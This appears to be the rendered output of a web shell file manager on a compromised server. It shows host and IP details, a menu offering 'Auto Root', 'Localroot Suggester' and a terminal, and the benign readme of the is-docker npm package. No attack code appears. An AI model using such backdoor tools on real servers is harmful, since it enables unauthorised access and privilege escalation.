Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.80.46
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
is-docker /
Delete
Unzip
Name
Size
Permission
Date
Action
cli.js
105
B
-rwxrwxr-x
2022-08-30 11:49
index.d.ts
254
B
-rw-rw-r--
2022-08-30 11:49
index.js
449
B
-rw-rw-r--
2022-08-30 11:49
license
1.09
KB
-rw-rw-r--
2022-08-30 11:49
package.json
747
B
-rw-rw-r--
2022-08-30 11:49
readme.md
341
B
-rw-rw-r--
2022-08-30 11:49
Save
Rename
# is-docker > Check if the process is running inside a Docker container ## Install ``` $ npm install is-docker ``` ## Usage ```js const isDocker = require('is-docker'); if (isDocker()) { console.log('Running inside a Docker container'); } ``` ## CLI ``` $ is-docker ``` Exits with code 0 if inside a Docker container and 2 if not.